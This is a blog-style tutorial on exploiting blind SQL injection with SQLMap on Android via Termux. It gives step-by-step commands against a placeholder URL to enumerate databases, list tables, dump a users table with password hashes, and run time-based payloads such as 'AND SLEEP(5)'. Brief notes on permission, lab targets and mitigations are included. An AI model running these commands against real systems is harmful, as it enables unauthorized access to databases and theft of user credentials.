Pin It!

The database was silent—but I knew it was hiding something.

I still remember the first time I encountered Blind SQL Injection. Unlike regular SQL Injection, where databases practically spill their secrets with error messages, this one gave me nothing. No errors. No hints. Just a blank screen, mocking me. But if there’s one thing I’ve learned in cybersecurity, it’s this: silence is never truly silence.

That’s when I turned to SQLMap in Termux—a lightweight yet ruthless toolset that digs deep, extracting data even when the system refuses to talk. What started as a simple test turned into a game of patience, sending carefully crafted payloads, watching for delays, and slowly peeling back layers of supposed security. When the database finally cracked, it was proof of what I had always suspected: most “secure” systems aren’t secure at all.

In this guide, I’ll show you how to wield SQLMap in Termux to exploit Blind SQL Injection, step by step. If the database won’t talk, we’ll make it.

---

Table of Contents

Pin It!

Pin It!

• What is Blind SQL Injection?
• SQLmap in Termux Installation Procedure
  • Step 1: Install Termux and Update Packages
  • Step 2: Install SQLmap
  • Step 3: Identify a Vulnerable Target
  • Step 4: Test the Target with SQLmap
  • Step 5: Exploit Blind SQL Injection to List Tables
  • Step 6: Extract Data from a Table
  • Step 7: Use Delays to Handle Blind SQL Injection
  • Step 8: Mitigate the Risks
• Silence Doesn’t Mean Security

Pin It!

---

What is Blind SQL Injection?

Blind SQL Injection is a type of SQL Injection attack where the attacker is unable to see the results of their query directly. Unlike traditional SQL Injection, which reveals information through error messages, Blind SQL Injection operates in the shadows. The attacker must rely on indirect methods, such as response time or boolean-based questions, to gather information about the database.

In a Blind SQL Injection attack, the web application doesn’t return error messages or any direct feedback. Instead, the attacker injects a malicious SQL query and observes changes in the application’s behavior. By asking true or false questions, based on certain conditions, the attacker can infer the presence or absence of certain data.

For example, an attacker might test if the first letter of a user’s username is “A” by injecting a SQL query that asks the database to respond differently if it’s true or false. If the application’s response time changes or behaves differently, the attacker knows whether the assumption was correct. This process can be repeated, allowing attackers to extract sensitive data, one bit at a time, without the application ever revealing it directly.

While more time-consuming and stealthy, Blind SQL Injection is just as dangerous as regular SQL Injection, and it can be used to exploit vulnerabilities in web applications to gain unauthorized access to databases.

· · ─ ·𖥸· ─ · ·

SQLmap in Termux Installation Procedure

SQLMap is a powerful open-source tool that automates SQL Injection, making it a go-to for penetration testers and ethical hackers. Running it in Termux allows you to perform security testing directly from your Android device—no need for a full desktop setup.

Installing SQLMap in Termux is straightforward, but it requires setting up Python and ensuring dependencies are met. The process involves updating Termux, installing Python, and fetching SQLMap from its official repository. Once set up, you’ll be ready to launch Blind SQL Injection attacks and assess database security on the go.

In the next section, we’ll walk through the exact installation steps to get SQLMap running in Termux seamlessly.

Step 1: Install Termux and Update Packages

Start by installing Termux from the Google Play Store or F-Droid. Once installed, open Termux and update your package list:

pkg update && pkg upgrade

Sample Output:

Hit:1 https://packages.termux.dev/apt/termux-main stable InRelease
Reading package lists... Done
All packages are up to date.

Step 2: Install SQLmap

Next, clone the SQLmap repository using Git to install it on your device:

pkg install git  
git clone https://github.com/sqlmapproject/sqlmap.git  
cd sqlmap

Sample Output:

Cloning into 'sqlmap'...
remote: Enumerating objects: 45348, done.
remote: Counting objects: 100% (45348/45348), done.
remote: Compressing objects: 100% (18676/18676), done.
Receiving objects: 100% (45348/45348), 7.69 MiB | 2.51 MiB/s, done.
Resolving deltas: 100% (30789/30789), done.

Step 3: Identify a Vulnerable Target

Before you can exploit blind SQL injection, you need a target web application. You can set up a test environment using vulnerable applications like DVWA (Damn Vulnerable Web Application) or bWAPP.

Always ensure you have permission to test a web application to comply with legal and ethical guidelines.

Step 4: Test the Target with SQLmap

Once you identify a potential target URL, use SQLmap to probe for vulnerabilities:

python sqlmap.py -u "http://target.com/vulnerable-page?id=1" --dbs

Explanation:

• -u: Specifies the URL of the target.
• --dbs: Tells SQLmap to enumerate databases if the target is vulnerable.

Sample Output:

Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE or HAVING clause
    Payload: id=1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0 END))
---
[INFO] the back-end DBMS is MySQL
available databases:
[*] information_schema
[*] example_db
[*] mysql
[*] performance_schema

Step 5: Exploit Blind SQL Injection to List Tables

Once you’ve found a vulnerable database, you can further exploit blind SQL injection to list its tables:

python sqlmap.py -u "http://target.com/vulnerable-page?id=1" -D example_db --tables

Explanation:

• -D example_db: Specifies the database you want to explore.
• --tables: Tells SQLmap to list the tables in the selected database.

Sample Output:

Database: example_db
[1] users
[2] orders
[3] products

Step 6: Extract Data from a Table

Now, let’s retrieve data from a specific table, such as users. Use the following command:

python sqlmap.py -u "http://target.com/vulnerable-page?id=1" -D example_db -T users --dump

Explanation:

• -T users: Specifies the table to dump data from.
• --dump: Instructs SQLmap to extract the data.

Sample Output:

id    username    password
1     admin       5f4dcc3b5aa765d61d8327deb882cf99
2     user1       6dcd4ce23d88e2ee9568ba546c007c63

Step 7: Use Delays to Handle Blind SQL Injection

Blind SQL injection often requires time-based attacks where you introduce delays to measure responses. Here’s how you can execute a delay-based attack:

python sqlmap.py -u "http://target.com/vulnerable-page?id=1" --time-sec=5 --dbs

Explanation:

• --time-sec=5: Introduces a 5-second delay to detect the injection point.

Sample Output:

Parameter: id (GET)
Type: time-based blind
Payload: id=1 AND SLEEP(5)

Step 8: Mitigate the Risks

It’s essential to remember that exploiting blind SQL injection for unauthorized purposes is illegal. Always report vulnerabilities to the site owner and encourage them to fix the issue. Blind SQL injection vulnerabilities can be mitigated through:

• Parameterized queries.
• Input validation and sanitization.
• Using web application firewalls (WAFs).

· · ─ ·𖥸· ─ · ·

Silence Doesn’t Mean Security

Blind SQL Injection is proof that a silent database isn’t a secure one—it’s just waiting for the right approach. With SQLMap in Termux, you now have the tools to expose vulnerabilities hidden beneath the surface, even when error messages give you nothing.

But knowing how to break in is only half the battle. Ethical hacking is about understanding these weaknesses so they can be patched before someone with malicious intent exploits them. Whether you’re testing your own systems or sharpening your skills, remember: security isn’t about assuming you’re safe—it’s about proving you’re not vulnerable.

So, what will you test next?